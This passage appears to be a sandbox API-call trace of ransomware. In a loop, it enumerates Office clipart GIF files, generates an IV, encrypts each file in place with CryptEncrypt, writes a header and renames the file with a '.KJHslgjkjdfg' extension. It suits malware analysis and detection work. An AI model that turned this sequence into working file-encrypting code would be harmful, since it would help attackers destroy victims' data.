lpNumberOfBytesRead=0x29df27c*=0x2bc, lpOverlapped=0x0) returned 1 [0219.044] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c0) returned 1 [0219.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.044] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2c0, lpOverlapped=0x0) returned 1 [0219.044] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.044] SetEndOfFile (hFile=0x130) returned 1 [0219.046] GetProcessHeap () returned 0x990000 [0219.046] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.046] GetProcessHeap () returned 0x990000 [0219.046] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.kjhslgjkjdfg")) returned 1 [0219.047] CloseHandle (hObject=0x130) returned 1 [0219.048] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d77c00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82d77c00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01299_.GIF", cAlternateFileName="")) returned 1 [0219.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.048] GetProcessHeap () returned 0x990000 [0219.048] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.048] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.048] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0219.050] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.050] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.050] GetProcessHeap () returned 0x990000 [0219.050] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.050] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.050] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.050] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.050] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.050] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.050] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.050] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.050] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.050] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.050] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13e, lpOverlapped=0x0) returned 1 [0219.051] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x140, dwBufLen=0x140 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x140) returned 1 [0219.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.051] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x140, lpOverlapped=0x0) returned 1 [0219.051] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.051] SetEndOfFile (hFile=0x130) returned 1 [0219.053] GetProcessHeap () returned 0x990000 [0219.053] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.053] GetProcessHeap () returned 0x990000 [0219.053] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.kjhslgjkjdfg")) returned 1 [0219.054] CloseHandle (hObject=0x130) returned 1 [0219.054] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794e1400, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x794e1400, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01300_.GIF", cAlternateFileName="")) returned 1 [0219.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.055] GetProcessHeap () returned 0x990000 [0219.055] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.055] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.055] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.055] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.055] GetProcessHeap () returned 0x990000 [0219.055] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.055] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.055] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.055] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.057] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.057] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.057] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.057] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.057] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.057] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.057] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x250, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x250, lpOverlapped=0x0) returned 1 [0219.058] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x250, dwBufLen=0x250 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x250) returned 1 [0219.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.058] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x250, lpOverlapped=0x0) returned 1 [0219.058] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.058] SetEndOfFile (hFile=0x130) returned 1 [0219.061] GetProcessHeap () returned 0x990000 [0219.061] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.061] GetProcessHeap () returned 0x990000 [0219.061] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.kjhslgjkjdfg")) returned 1 [0219.062] CloseHandle (hObject=0x130) returned 1 [0219.062] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74896000, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74896000, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01301_.GIF", cAlternateFileName="")) returned 1 [0219.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.063] GetProcessHeap () returned 0x990000 [0219.063] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.063] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.063] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0219.064] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.064] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.064] GetProcessHeap () returned 0x990000 [0219.064] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.065] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.065] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.065] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.065] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.065] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.065] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.065] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.065] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.065] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.066] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a9, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a9, lpOverlapped=0x0) returned 1 [0219.066] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b0) returned 1 [0219.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.066] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b0, lpOverlapped=0x0) returned 1 [0219.066] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.066] SetEndOfFile (hFile=0x130) returned 1 [0219.068] GetProcessHeap () returned 0x990000 [0219.068] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.069] GetProcessHeap () returned 0x990000 [0219.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.kjhslgjkjdfg")) returned 1 [0219.070] CloseHandle (hObject=0x130) returned 1 [0219.070] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a0ea00, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a0ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x2076, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01304G.GIF", cAlternateFileName="")) returned 1 [0219.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.070] GetProcessHeap () returned 0x990000 [0219.071] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.071] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.071] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0219.073] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.073] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.073] GetProcessHeap () returned 0x990000 [0219.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.073] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.073] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.073] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.073] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.073] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.074] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.074] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.074] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.074] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.074] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2076, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2076, lpOverlapped=0x0) returned 1 [0219.075] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2080, dwBufLen=0x2080 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2080) returned 1 [0219.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.075] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2080, lpOverlapped=0x0) returned 1 [0219.075] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.076] SetEndOfFile (hFile=0x130) returned 1 [0219.078] GetProcessHeap () returned 0x990000 [0219.078] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.078] GetProcessHeap () returned 0x990000 [0219.078] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.kjhslgjkjdfg")) returned 1 [0219.080] CloseHandle (hObject=0x130) returned 1 [0219.080] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, 